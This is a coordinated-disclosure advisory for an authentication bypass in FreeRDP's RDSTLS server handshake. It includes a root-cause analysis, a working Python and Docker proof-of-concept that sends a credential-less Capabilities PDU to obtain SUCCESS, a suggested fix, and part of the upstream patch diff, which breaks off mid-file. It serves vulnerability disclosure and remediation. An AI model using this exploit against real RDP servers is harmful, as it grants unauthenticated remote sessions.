ANT-2026-TVG98XT0 · freerdp/freerdp
auth-bypass high
CVE-2026-73241 GHSA-rqgv-grx4-xm6x
Severity Claude high · Security research firm high · Maintainer -
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Ada Logics.
ANT-2026-TVG98XT0: RDSTLS server authentication bypass via PDU-type confusion
In FreeRDP's RDSTLS server handshake, rdstls_recv() (rdstls.c:719) dispatches solely on the wire pduType with no check of peer role or handshake state. The rdpRdstls struct is calloc-allocated, so resultCode starts at 0 == RDSTLS_RESULT_SUCCESS. A client that replies to the server's Capabilities PDU with another Capabilities PDU (or an AUTHRSP) instead of an Authentication Request is routed to a handler that returns TRUE without touching resultCode. rdstls_server_authenticate() (rdstls.c:935) then sends AUTHRSP(SUCCESS) and returns authenticated, never evaluating the password or redirection GUID/cookie. A remote attacker thus obtains a full RDP session on any FreeRDP-based server/proxy with RdstlsSecurity enabled.
Target
Project: freerdp/freerdp
Location: libfreerdp/core/rdstls.c:719
Discovery: static analysis — not yet dynamically reproduced
Technical Details
Root cause is a fail-open default combined with missing state validation: rdstls_new() calloc-zeroes resultCode to RDSTLS_RESULT_SUCCESS, and rdstls_recv() switches purely on attacker-supplied pduType without consulting rdstls->state or rdstls->server. The state-transition checker only validates the server's own fixed sequence, so an unexpected inbound PDU type is silently accepted and the credential-verification path is skipped entirely.
Reproduction
- Connect and negotiate PROTOCOL_RDSTLS at X.224, complete TLS.
- Receive the server's RDSTLS Capabilities PDU.
- Reply with an 8-byte RDSTLS_TYPE_CAPABILITIES PDU (version=1,type=1,dataType=1,versions=1) instead of an Authentication Request (alternatively send RDSTLS_TYPE_AUTHRSP with resultCode=0).
- rdstls_recv() routes it to rdstls_process_capabilities(), which returns TRUE without touching resultCode.
- Server transitions AUTH_REQ→AUTH_RSP, sends AUTHRSP(resultCode=0=SUCCESS), and rdstls_server_authenticate() returns 1.
- Connection advances to CONNECTION_STATE_MCS_CREATE_REQUEST with the session marked authenticated; proceed with a full RDP session.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Suggested Fix
Make the RDSTLS server state machine accept only an Authentication Request PDU at the authentication step (reject any other pduType in rdstls_recv when server && state==AUTH_REQ), and fail closed: initialise resultCode to a denial value and only set SUCCESS after explicit credential verification.
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-TVG98XT0.
Reference: ANT-2026-TVG98XT0
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Ada Logics. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
RDSTLS server authentication bypass: a credential-less Capabilities PDU is accepted at the auth step (fail-open resultCode)
This is
Summary
FreeRDP's server-side RDSTLS handshake dispatches inbound PDUs purely on the
attacker-supplied wire pduType, without checking that the PDU is the one the
protocol requires at the current step. The rdpRdstls object is calloc-zeroed,
so its resultCode starts at 0 — which is exactly RDSTLS_RESULT_SUCCESS.
At the point where the server is waiting for the client's Authentication
Request (the PDU that carries the credentials), a client may instead send a
Capabilities PDU. rdstls_recv() routes it to rdstls_process_capabilities(),
which validates a couple of constant fields and returns TRUE without ever
setting resultCode. The state machine advances, the server sends an
AUTHRSP carrying the still-zero resultCode (SUCCESS), and
rdstls_server_authenticate() returns "authenticated" having never evaluated a
password, redirection GUID, or auto-reconnect cookie.
The result is a pre-credential authentication bypass on any FreeRDP-based server/proxy that enables RDSTLS: an unauthenticated remote client reaches a session the server has marked authenticated.
Importantly, this bypasses a credential check that does run in the normal
flow: when a client sends a proper RDSTLS_TYPE_AUTHREQ,
rdstls_process_authentication_request_with_password() compares the client's
RedirectionGuid / username / domain / password against the server's configured
values and sets resultCode to ACCESS_DENIED / LOGON_FAILURE on a mismatch.
The attack simply never reaches that function. The proof-of-concept below
demonstrates exactly this: the same server that rejects a wrong RedirectionGuid
with ACCESS_DENIED accepts a credential-less Capabilities PDU as SUCCESS.
Affected versions
- FreeRDP
master— reproduced on HEAD5e8e987b469b60a3bafadf8f5afc40f91c09f458on 2026-07-14. The dispatch is atlibfreerdp/core/rdstls.c:809, thecallocfail-open default at:122(RDSTLS_RESULT_SUCCESS = 0at:61), and the success gate inrdstls_server_authenticate()at:1025. Unpatched. - FreeRDP 3.x — the same defect is present in the released 3.x series (e.g. tag 3.27.1). Because the defect ships in a released tag (not development-branch only), it qualifies for a CVE under the project's supported-versions policy.
- Reachable when the server is configured with
RdstlsSecurity = TRUE(a non-default but legitimate deployment setting).
Details
All line numbers below are at master HEAD
5e8e987b469b60a3bafadf8f5afc40f91c09f458.
The credential check that normally runs
When the client sends the required RDSTLS_TYPE_AUTHREQ, the server performs a
real credential comparison (libfreerdp/core/rdstls.c:570):
// rdstls_process_authentication_request_with_password()
rdstls->resultCode = RDSTLS_RESULT_SUCCESS; // :607
if (!rdstls_cmp_data(rdstls->log, "RedirectionGuid", serverRedirectionGuid,
serverRedirectionGuidLength, clientRedirectionGuid,
clientRedirectionGuidLength)) // :609
rdstls->resultCode = RDSTLS_RESULT_ACCESS_DENIED;
if (!rdstls_cmp_str(rdstls->log, "UserName", serverUsername, clientUsername)) // :614
rdstls->resultCode = RDSTLS_RESULT_LOGON_FAILURE;
if (!rdstls_cmp_str(rdstls->log, "Domain", ...)) // :617
rdstls->resultCode = RDSTLS_RESULT_LOGON_FAILURE;
if (!rdstls_cmp_str(rdstls->log, "Password", ...)) // :620
rdstls->resultCode = RDSTLS_RESULT_LOGON_FAILURE;
rdstls_cmp_data (:524) and rdstls_cmp_str (:547) are genuine
memcmp/strcmp checks that fail closed on a mismatch. So a wrong credential
yields ACCESS_DENIED/LOGON_FAILURE, and rdstls_server_authenticate()
returns failure.
The fail-open default
The object is zero-initialised, so resultCode == RDSTLS_RESULT_SUCCESS before
any credential is checked:
// rdstls.c:61
RDSTLS_RESULT_SUCCESS = 0x00000000,
// rdstls.c:122 — rdstls_new()
rdpRdstls* rdstls = (rdpRdstls*)calloc(1, sizeof(rdpRdstls)); // resultCode = 0 = SUCCESS
The dispatch that skips the check
The receive path dispatches on the wire pduType with no check that this is the
PDU required at the current step:
// rdstls.c:808 — rdstls_recv() (shared by client and server)
const UINT16 pduType = Stream_Get_UINT16(s); // :808
switch (pduType) // :809 — wire byte only
{
case RDSTLS_TYPE_CAPABILITIES:
if (!rdstls_process_capabilities(rdstls, s)) // returns TRUE, never sets resultCode
return -1;
break;
case RDSTLS_TYPE_AUTHREQ:
if (!rdstls_process_authentication_request(rdstls, s)) // the ONLY path that sets resultCode
return -1;
break;
case RDSTLS_TYPE_AUTHRSP:
...
}
return 1;
rdstls_process_capabilities() (:447) validates constant fields and returns
TRUE/FALSE — it never writes resultCode.
The server auth routine accepts whatever rdstls_recv returns, then gates solely
on resultCode:
// rdstls.c:1009 — rdstls_server_authenticate()
if (!rdstls_send_capabilities(rdstls)) return -1;
if (!rdstls_recv_authentication_request(rdstls)) return -1; // accepts a CAPABILITIES PDU
if (!rdstls_send_authentication_response(rdstls)) return -1; // emits AUTHRSP(resultCode)
if (rdstls->resultCode != RDSTLS_RESULT_SUCCESS) return -1; // :1025 0 == SUCCESS -> passes
return 1; // authenticated
rdstls_recv_authentication_request() (:874) checks only the server's own
outbound state, then calls rdstls_recv(), which trusts the inbound pduType. A
RDSTLS_TYPE_CAPABILITIES PDU is therefore accepted in place of the
credential-bearing RDSTLS_TYPE_AUTHREQ, the credential-comparison function above
is never invoked, resultCode stays at its calloc-zeroed SUCCESS, and the
gate at :1025 passes.
Root cause
Two compounding defects: (1) fail-open default — resultCode is initialised
to the success value; (2) missing state/role validation — the dispatcher does
not require an AUTHREQ at the authentication step.
Server-side call path
rdp_server_accept_nego libfreerdp/core/connection.c
(RdstlsSecurity -> select PROTOCOL_RDSTLS)
transport_accept_rdstls (TLS accept) libfreerdp/core/transport.c
rdstls_new (server=TRUE, resultCode=0) rdstls.c:122
rdstls_server_authenticate rdstls.c:1009
rdstls_send_capabilities (server -> client)
rdstls_recv_authentication_request -> rdstls_recv rdstls.c:874 / :808
attacker sends RDSTLS_TYPE_CAPABILITIES -> rdstls_process_capabilities (resultCode untouched) rdstls.c:447
rdstls_send_authentication_response -> AUTHRSP(resultCode=0=SUCCESS)
resultCode == SUCCESS -> return 1 (authenticated) rdstls.c:1025
Impact
On a FreeRDP-based server/proxy with RDSTLS enabled, an unauthenticated remote attacker completes the RDSTLS authentication step without presenting any credential, and the connection advances (marked authenticated) to MCS. No password, redirection GUID, or auto-reconnect cookie is ever checked.
Workaround until patched: do not enable RdstlsSecurity (the default), or add a
secondary authentication gate in the server's Logon callback (note
IFCALLRESULT defaults to TRUE, so a missing callback does not mitigate).
Proof of Concept
A self-contained Docker reproducer builds the shipped FreeRDP sample server
(sfreerdp-server) at the affected commit and runs three RDSTLS connections
against the same server, each reaching the authentication step and sending a
different PDU:
- Positive control — a proper
AUTHREQcarrying the correct RedirectionGuid → server returnsSUCCESS(the auth path works). - Negative control — a proper
AUTHREQcarrying a wrong RedirectionGuid → server returnsACCESS_DENIED(the server genuinely enforces the credential). - Attack — a credential-less
CAPABILITIESPDU at the auth step → server returnsSUCCESS(the bypass).
The positive/negative controls prove the server is really authenticating; the attack, under the identical server configuration, shows the credential-less PDU being accepted anyway.
A note on the server configuration (the target is not modified)
The shipped sample server hardcodes its security protocols in test_peer_init()
and exposes no command-line flag to change them. The reproducer therefore sets
two supported deployment settings in server/Sample/sfreerdp.c (via
configure_server.py): RdstlsSecurity = TRUE (so the server negotiates RDSTLS,
default FALSE) and a 16-byte RedirectionGuid (so the server has a credential to
enforce, enabling the negative control). This represents an administrator who
deploys RDSTLS redirection. The vulnerable code in
libfreerdp/core/rdstls.c is built and run completely unmodified.
Build & run
docker build -t frdp-rdstls-bypass .
docker run --rm frdp-rdstls-bypass
Observed output (master HEAD 5e8e987b, 2026-07-14)
----- POSITIVE control: AUTHREQ + CORRECT RedirectionGuid -----
[*] server Capabilities PDU: 0100010001000100
[*] -> sending auth-step PDU (30 bytes): 01000200010010000102030405060708090a0b0c0d0e0f10000000000000
[*] <- AUTHRSP pduType=0x0004 resultCode=SUCCESS
----- NEGATIVE control: AUTHREQ + WRONG RedirectionGuid -----
[*] server Capabilities PDU: 0100010001000100
[*] -> sending auth-step PDU (30 bytes): 0100020001001000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa000000000000
[*] <- AUTHRSP pduType=0x0004 resultCode=ACCESS_DENIED
----- ATTACK: credential-less CAPABILITIES PDU -----
[*] server Capabilities PDU: 0100010001000100
[*] -> sending auth-step PDU (8 bytes): 0100010001000100
[*] <- AUTHRSP pduType=0x0004 resultCode=SUCCESS
========================================================================
RDSTLS authentication result matrix (same server, RedirectionGuid configured):
positive (correct credential) -> SUCCESS expect SUCCESS
negative (wrong credential) -> ACCESS_DENIED expect ACCESS_DENIED
ATTACK (no credential) -> SUCCESS expect (secure) rejection
========================================================================
VULNERABLE: the server REJECTS a wrong RedirectionGuid (ACCESS_DENIED) but
ACCEPTS a credential-less Capabilities PDU as SUCCESS.
Real RDSTLS authentication is bypassed via PDU-type confusion.
The server log (from the negative control) confirms the credential check runs:
[ERROR][com.freerdp.core.rdstls] - [rdstls_cmp_data]: RedirectionGuid
verification failed → [transport_accept_rdstls]: client authentication failure.
Complete reproducer files
Place the following four files in one directory and run the build/run commands above.
Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
# Pinned commit: current upstream HEAD of the default branch.
ARG TARGET_COMMIT=5e8e987b469b60a3bafadf8f5afc40f91c09f458
ARG CLANG_VERSION=20
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git cmake ninja-build pkg-config make \
libssl-dev zlib1g-dev openssl python3 \
wget gnupg lsb-release software-properties-common \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-20 CXX=clang++-20
# Cacheable clone, then a separate checkout so the build can be re-pinned to any commit via --build-arg TARGET_COMMIT.
RUN git clone https://github.com/FreeRDP/FreeRDP /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
# Deployment configuration only (does NOT touch the vulnerable libfreerdp/core/rdstls.c):
# enable the default-FALSE RdstlsSecurity setting so the sample server negotiates RDSTLS,
# and configure a RedirectionGuid so the server has a real credential to enforce (lets the
# reproducer show a wrong-credential rejection next to the credential-less bypass).
COPY configure_server.py /tmp/configure_server.py
RUN python3 /tmp/configure_server.py \
&& grep -nE "FreeRDP_RdstlsSecurity, TRUE|FreeRDP_RedirectionGuid" server/Sample/sfreerdp.c
# Logic/auth bug -> ASan not required. Build the server + sample server only.
RUN cmake -GNinja -B /opt/build -S /src/repo \
-DCMAKE_BUILD_TYPE=Debug \
-DWITH_SERVER=ON -DWITH_SAMPLE=ON \
-DWITH_CLIENT=OFF -DWITH_CLIENT_COMMON=OFF -DWITH_CLIENT_SDL=OFF \
-DWITH_X11=OFF -DWITH_WAYLAND=OFF -DWITH_SHADOW=OFF -DWITH_PLATFORM_SERVER=OFF \
-DWITH_MANPAGES=OFF -DBUILD_TESTING=OFF -DWITH_SAMPLE_SERVER=ON \
-DWITH_FFMPEG=OFF -DWITH_SWSCALE=OFF -DWITH_DSP_FFMPEG=OFF \
-DWITH_CAIRO=OFF -DWITH_PCSC=OFF -DWITH_CUPS=OFF -DWITH_PULSE=OFF \
-DWITH_ALSA=OFF -DWITH_OSS=OFF -DWITH_FUSE=OFF -DWITH_KRB5=OFF \
&& ninja -C /opt/build sfreerdp-server
RUN mkdir -p /opt/server
COPY trigger.py /opt/trigger.py
COPY run.sh /opt/run.sh
RUN chmod +x /opt/run.sh
CMD ["/bin/sh","-c","/opt/run.sh; echo DONE=$?"]
configure_server.py
#!/usr/bin/env python3
"""
Deployment configuration for the shipped FreeRDP sample server (sfreerdp-server).
The sample server hardcodes its security protocols in test_peer_init() and exposes
NO command-line flag to change them, so this script edits two *deployment settings*
into server/Sample/sfreerdp.c:
1. FreeRDP_RdstlsSecurity = TRUE -> the server negotiates RDSTLS (default FALSE)
2. FreeRDP_RedirectionGuid = <16 bytes> -> the server has a real credential to enforce,
so rdstls_process_authentication_request_with_password() actually rejects a wrong
RedirectionGuid (rdstls_cmp_data / ACCESS_DENIED). This lets the reproducer show a
negative control (wrong credential -> rejected) next to the bypass.
This does NOT touch the vulnerable code in libfreerdp/core/rdstls.c; it only configures
the server the way an administrator deploying RDSTLS redirection would.
"""
import re
import sys
import pathlib
SRC = pathlib.Path("server/Sample/sfreerdp.c")
text = SRC.read_text()
# Anchor: the existing NlaSecurity=FALSE settings line in test_peer_init().
anchor = re.compile(
r'(if \(!freerdp_settings_set_bool\(settings, FreeRDP_NlaSecurity, FALSE\)\)\s*\n\s*goto fail;\n)'
)
inject = (
"\t/* --- reproducer deployment config (does NOT touch libfreerdp/core/rdstls.c) --- */\n"
"\tif (!freerdp_settings_set_bool(settings, FreeRDP_RdstlsSecurity, TRUE))\n"
"\t\tgoto fail;\n"
"\t{\n"
"\t\tstatic const BYTE _repro_guid[16] = {\n"
"\t\t\t0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,\n"
"\t\t\t0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10 };\n"
"\t\tif (!freerdp_settings_set_pointer_len(settings, FreeRDP_RedirectionGuid, _repro_guid, sizeof(_repro_guid)))\n"
"\t\t\tgoto fail;\n"
"\t\tif (!freerdp_settings_set_uint32(settings, FreeRDP_RedirectionGuidLength, sizeof(_repro_guid)))\n"
"\t\t\tgoto fail;\n"
"\t}\n"
)
new_text, n = anchor.subn(lambda m: m.group(1) + inject, text, count=1)
if n != 1:
sys.stderr.write("ERROR: could not find the NlaSecurity anchor in sfreerdp.c\n")
sys.exit(1)
SRC.write_text(new_text)
print("[configure_server] RdstlsSecurity=TRUE + RedirectionGuid(16B) injected into sfreerdp.c")
trigger.py
#!/usr/bin/env python3
"""
RDSTLS server authentication bypass via PDU-type confusion.
This driver runs THREE cases against the same stock sfreerdp-server (built with
RDSTLS enabled and a RedirectionGuid credential configured; libfreerdp/core/rdstls.c
is unmodified). Each case is a fresh RDSTLS connection that gets to the server's
authentication step, then sends a different PDU:
1. POSITIVE control : AUTHREQ(password) carrying the CORRECT RedirectionGuid
-> expect resultCode == SUCCESS (auth path works)
2. NEGATIVE control : AUTHREQ(password) carrying a WRONG RedirectionGuid
-> expect resultCode == ACCESS_DENIED (server DOES enforce)
3. ATTACK : a credential-less CAPABILITIES PDU (PDU-type confusion)
-> observed resultCode == SUCCESS (BYPASS)
RDSTLS wire format (libfreerdp/core/rdstls.c): every PDU is
UINT16 version(=0x0001) | UINT16 pduType | body (all little-endian)
"""
import socket
import ssl
import struct
import sys
HOST = "127.0.0.1"
PORT = 3389
PROTOCOL_RDSTLS = 0x04
RDSTLS_VERSION_1 = 0x0001
RDSTLS_TYPE_CAPABILITIES = 0x0001
RDSTLS_TYPE_AUTHREQ = 0x0002
RDSTLS_TYPE_AUTHRSP = 0x0004
RDSTLS_DATA_CAPABILITIES = 0x0001
RDSTLS_DATA_PASSWORD_CREDS = 0x0001
RDSTLS_RESULT_SUCCESS = 0x00000000
RDSTLS_RESULT_ACCESS_DENIED = 0x00000005
RDSTLS_RESULT_LOGON_FAILURE = 0x0000052e
# Must match the RedirectionGuid configure_server.py sets on the server.
EXPECTED_GUID = bytes(range(1, 17)) # 01 02 .. 10
WRONG_GUID = b"\xAA" * 16
def result_str(rc):
return {
RDSTLS_RESULT_SUCCESS: "SUCCESS",
RDSTLS_RESULT_ACCESS_DENIED: "ACCESS_DENIED",
RDSTLS_RESULT_LOGON_FAILURE: "LOGON_FAILURE",
}.get(rc, "0x%08x" % rc)
def recvn(sock, n):
buf = b""
while len(buf) < n:
chunk = sock.recv(n - len(buf))
if not chunk:
raise EOFError("connection closed (got %d/%d bytes)" % (len(buf), n))
buf += chunk
return buf
def x224_connection_request(requested_protocols):
neg = struct.pack("<BBHI", 0x01, 0x00, 0x0008, requested_protocols)
x224 = struct.pack("<BBHHB", 6 + len(neg), 0xE0, 0x0000, 0x0000, 0x00) + neg
tpkt = struct.pack(">BBH", 0x03, 0x00, 4 + len(x224)) + x224
return tpkt
def read_tpkt(sock):
hdr = recvn(sock, 4)
assert hdr[0] == 0x03, "not a TPKT response: %r" % hdr
length = struct.unpack(">H", hdr[2:4])[0]
return hdr + recvn(sock, length - 4)
def capabilities_pdu():
# version | CAPABILITIES | dataType=CAPABILITIES | supportedVersions
return struct.pack("<HHHH", RDSTLS_VERSION_1, RDSTLS_TYPE_CAPABILITIES,
RDSTLS_DATA_CAPABILITIES, RDSTLS_VERSION_1)
def authreq_password_pdu(guid):
# version | AUTHREQ | dataType=PASSWORD_CREDS
body = struct.pack("<HHH", RDSTLS_VERSION_1, RDSTLS_TYPE_AUTHREQ, RDSTLS_DATA_PASSWORD_CREDS)
# RedirectionGuid: UINT16 len + bytes
body += struct.pack("<H", len(guid)) + guid
# Username / Domain / Password: UINT16 len + UTF-16LE (empty -> len 0)
body += struct.pack("<H", 0) + struct.pack("<H", 0) + struct.pack("<H", 0)
return body
def run_case(label, auth_step_pdu):
"""Connect, negotiate RDSTLS + TLS, read the server Capabilities PDU, send the
given auth-step PDU, and return the server's AUTHRSP resultCode. Returns None if
the server rejects/closes without an AUTHRSP (the expected secure/fixed behavior
for the attack case)."""
print("\n----- %s -----" % label, flush=True)
try:
sock = socket.create_connection((HOST, PORT), timeout=15)
sock.sendall(x224_connection_request(PROTOCOL_RDSTLS))
cc = read_tpkt(sock)
if not (len(cc) >= 19 and cc[11] == 0x02 and
struct.unpack("<I", cc[15:19])[0] == PROTOCOL_RDSTLS):
print("[!] server did not select RDSTLS; abort", flush=True)
return None
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
ctx.set_ciphers("ALL:@SECLEVEL=0")
except ssl.SSLError:
pass
tls = ctx.wrap_socket(sock, server_hostname=HOST)
caps = recvn(tls, 8) # server -> client RDSTLS Capabilities PDU
print("[*] server Capabilities PDU: %s" % caps.hex(), flush=True)
print("[*] -> sending auth-step PDU (%d bytes): %s"
% (len(auth_step_pdu), auth_step_pdu.hex()), flush=True)
tls.sendall(auth_step_pdu)
rsp = recvn(tls, 10) # AUTHRSP = version(2) type(2) dataType(2) resultCode(4)
ptype = struct.unpack("<H", rsp[2:4])[0]
result_code = struct.unpack("<I", rsp[6:10])[0]
try:
tls.close()
except OSError:
pass
print("[*] <- AUTHRSP pduType=0x%04x resultCode=%s"
% (ptype, result_str(result_code)), flush=True)
return result_code
except (EOFError, OSError, ssl.SSLError) as e:
# No AUTHRSP: server rejected the PDU and closed the connection.
print("[*] <- no AUTHRSP; server rejected/closed the connection (%r)" % e, flush=True)
return None
def main():
pos = run_case("POSITIVE control: AUTHREQ + CORRECT RedirectionGuid", authreq_password_pdu(EXPECTED_GUID))
neg = run_case("NEGATIVE control: AUTHREQ + WRONG RedirectionGuid", authreq_password_pdu(WRONG_GUID))
atk = run_case("ATTACK: credential-less CAPABILITIES PDU", capabilities_pdu())
def cell(rc):
return "None" if rc is None else result_str(rc)
print("\n" + "=" * 72, flush=True)
print("RDSTLS authentication result matrix (same server, RedirectionGuid configured):", flush=True)
print(" positive (correct credential) -> %-14s expect SUCCESS" % cell(pos), flush=True)
print(" negative (wrong credential) -> %-14s expect ACCESS_DENIED" % cell(neg), flush=True)
print(" ATTACK (no credential) -> %-14s expect (secure) rejection" % cell(atk), flush=True)
print("=" * 72, flush=True)
auth_enforced = (pos == RDSTLS_RESULT_SUCCESS and neg == RDSTLS_RESULT_ACCESS_DENIED)
bypassed = (atk == RDSTLS_RESULT_SUCCESS)
if auth_enforced and bypassed:
print("VULNERABLE: the server REJECTS a wrong RedirectionGuid (ACCESS_DENIED) but", flush=True)
print(" ACCEPTS a credential-less Capabilities PDU as SUCCESS.", flush=True)
print(" Real RDSTLS authentication is bypassed via PDU-type confusion.", flush=True)
print("REPRO_OK", flush=True)
return 0
if not auth_enforced:
print("[!] auth not enforced as expected (positive=%s negative=%s) -> inconclusive"
% (cell(pos), cell(neg)), flush=True)
if not bypassed:
print("[*] attack did NOT bypass (attack=%s) -> looks fixed/rejected" % cell(atk), flush=True)
print("REPRO_FAIL", flush=True)
return 1
if __name__ == "__main__":
try:
rc = main()
except Exception as e: # noqa
print("[!] trigger error: %r" % e, flush=True)
rc = 3
print("TRIGGER_EXIT=%d" % rc, flush=True)
sys.exit(rc)
run.sh
#!/bin/sh
# Start the FreeRDP sample server (RDSTLS enabled) and fire the attacker client.
set -e
cd /opt/server
# Self-signed cert/key for the server's TLS.
if [ ! -f server.crt ]; then
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt \
-days 3650 -nodes -subj "/CN=tfreerdp" >/dev/null 2>&1
fi
echo "===== starting tfreerdp-server (RdstlsSecurity=TRUE) ====="
/opt/build/server/Sample/sfreerdp-server --port=3389 --cert=server.crt --key=server.key \
> /tmp/server.log 2>&1 &
SRV=$!
# wait for the listener
for i in $(seq 1 30); do
if python3 -c "import socket,sys; s=socket.socket(); s.settimeout(1); sys.exit(0 if s.connect_ex(('127.0.0.1',3389))==0 else 1)" 2>/dev/null; then
break
fi
sleep 0.5
done
echo "===== firing attacker client ====="
python3 /opt/trigger.py
RC=$?
echo
echo "===== server log (tail) ====="
tail -n 40 /tmp/server.log || true
kill $SRV 2>/dev/null || true
echo "EXIT=$RC"
Suggested fix
Reject any PDU other than RDSTLS_TYPE_AUTHREQ when the server is at the
authentication step, and initialise resultCode to a denial value so SUCCESS is
only reachable after an explicit credential comparison. Either change alone closes
the bypass; both restore fail-closed behaviour.
@@ rdstls_new
rdpRdstls* rdstls = (rdpRdstls*)calloc(1, sizeof(rdpRdstls));
...
+ /* fail closed: only an explicit credential check may set SUCCESS */
+ rdstls->resultCode = RDSTLS_RESULT_ACCESS_DENIED;
@@ rdstls_recv (before the switch)
const UINT16 pduType = Stream_Get_UINT16(s);
+ if (rdstls->server && rdstls->state == RDSTLS_STATE_AUTH_REQ &&
+ pduType != RDSTLS_TYPE_AUTHREQ)
+ {
+ WLog_Print(rdstls->log, WLOG_ERROR,
+ "RDSTLS server expected AUTHREQ, got pduType 0x%04" PRIx16, pduType);
+ return -1;
+ }
switch (pduType)
We verified this guard against the same reproducer. With the fix applied, the
positive control still returns SUCCESS and the negative control still returns
ACCESS_DENIED (legitimate authentication is preserved), but the attack no longer
receives an AUTHRSP — rdstls_recv returns -1, authentication fails, and the
connection is closed:
positive (correct credential) -> SUCCESS expect SUCCESS
negative (wrong credential) -> ACCESS_DENIED expect ACCESS_DENIED
ATTACK (no credential) -> None (server rejected/closed - fixed)
Attribution
This issue was found using AI and agents, and has been reviewed manually. Please credit Claude and Ada Logics — found by Anthropic using agents to study the security of open-source projects, with Ada Logics validating and reporting. Let us know if you need any more information.
Disclosure
We follow coordinated disclosure policy here: https://www.anthropic.com/coordinated-vulnerability-disclosure (90 day deadline).
The change that resolved this finding.
diff --git a/libfreerdp/core/rdstls.c b/libfreerdp/core/rdstls.c
index e076caf75116..313e9eb53a80 100644
--- a/libfreerdp/core/rdstls.c
+++ b/libfreerdp/core/rdstls.c
@@ -33,8 +33,8 @@
#include "transport.h"
#include "utils.h"
-#define RDSTLS_VERSION_1 0x01
-#define RDSTLS_VERSION_2 0x02
+#define RDSTLS_VERSION_1 0x01u
+#define RDSTLS_VERSION_2 0x02u
#define RDSTLS_TYPE_CAPABILITIES 0x01
#define RDSTLS_TYPE_AUTHREQ 0x02
@@ -77,8 +77,10 @@ struct rdp_rdstls
RDSTLS_RESULT_CODE resultCode;
wLog* log;
+ uint16_t supportedVersions;
};
+WINPR_ATTR_NODISCARD
static const char* rdstls_result_code_str(UINT32 resultCode)
{
switch (resultCode)
@@ -103,6 +105,27 @@ static const char* rdstls_result_code_str(UINT32 resultCode)
return "RDSTLS_RESULT_UNKNOWN";
}
}
+
+#define rdstls_required_role_is_server(rdstls, isServer) \
+ rdstls_required_role_is_server_((rdstls), (isServer), __FILE__, __func__, __LINE__)
+
+WINPR_ATTR_NODISCARD
+static BOOL rdstls_required_role_is_server_(const rdpRdstls* rdstls, BOOL isServer,
+ const char* file, const char* fkt, size_t line)
+{
+ WINPR_ASSERT(rdstls);
+ const BOOL rc = rdstls->server == isServer;
+ if (!rc)
+ {
+ const DWORD level = WLOG_ERROR;
+ if (WLog_IsLevelActive(rdstls->log, level))
+ WLog_PrintTextMessage(rdstls->log, level, line, file, fkt,
+ "Message not allowed in current role '%s'",
+ rdstls->server ? "server" : "client");
+ }
+ return rc;
+}
+
/**
* Create new RDSTLS state machine.
*
@@ -128,6 +151,7 @@ rdpRdstls* rdstls_new(rdpContext* context, rdpTransport* transport)
rdstls->transport = transport;
rdstls->server = settings->ServerMode;
+ rdstls->resultCode = RDSTLS_RESULT_ACCESS_DENIED;
rdstls->state = RDSTLS_STATE_INITIAL;
return rdstls;
@@ -143,6 +167,7 @@ void rdstls_free(rdpRdstls* rdstls)
free(rdstls);
}
+WINPR_ATTR_NODISCARD
static const char* rdstls_get_state_str(RDSTLS_STATE state)
{
switch (state)
@@ -162,12 +187,14 @@ static const char* rdstls_get_state_str(RDSTLS_STATE state)
}
}
+WINPR_ATTR_NODISCARD
static RDSTLS_STATE rdstls_get_state(rdpRdstls* rdstls)
{
WINPR_ASSERT(rdstls);
return rdstls->state;
}
+WINPR_ATTR_NODISCARD
static BOOL check_transition(wLog* log, RDSTLS_STATE current, RDSTLS_STATE expected,
RDSTLS_STATE requested)
{
@@ -182,6 +209,7 @@ static BOOL check_transition(wLog* log, RDSTLS_STATE current, RDSTLS_STATE expec
return TRUE;
}
+WINPR_ATTR_NODISCARD
static BOOL rdstls_set_state(rdpRdstls* rdstls, RDSTLS_STATE state)
{
BOOL rc = FALSE;
@@ -220,18 +248,44 @@ static BOOL rdstls_set_state(rdpRdstls* rdstls, RDSTLS_STATE state)
return rc;
}
+#define rdstls_check_state_requirements(rdstls, expected) \
+ rdstls_check_state_requirements_((rdstls), (expected), __FILE__, __func__, __LINE__)
+
+WINPR_ATTR_NODISCARD
+static BOOL rdstls_check_state_requirements_(rdpRdstls* rdstls, RDSTLS_STATE expected,
+ const char* file, const char* fkt, size_t line)
+{
+ const RDSTLS_STATE current = rdstls_get_state(rdstls);
+ if (current == expected)
+ return TRUE;
+
+ WINPR_ASSERT(rdstls);
+
+ const DWORD log_level = WLOG_ERROR;
+ if (WLog_IsLevelActive(rdstls->log, log_level))
+ WLog_PrintTextMessage(rdstls->log, log_level, line, file, fkt,
+ "Unexpected rdstls state %s [%u], expected %s [%u]",
+ rdstls_get_state_str(current), current,
+ rdstls_get_state_str(expected), expected);
+
+ return FALSE;
+}
+
+WINPR_ATTR_NODISCARD
static BOOL rdstls_write_capabilities(WINPR_ATTR_UNUSED rdpRdstls* rdstls, wStream* s)
{
- if (!Stream_EnsureRemainingCapacity(s, 6))
+ if (!Stream_EnsureRemainingCapacity(s, 8))
return FALSE;
+ Stream_Write_UINT16(s, rdstls->supportedVersions);
Stream_Write_UINT16(s, RDSTLS_TYPE_CAPABILITIES);
Stream_Write_UINT16(s, RDSTLS_DATA_CAPABILITIES);
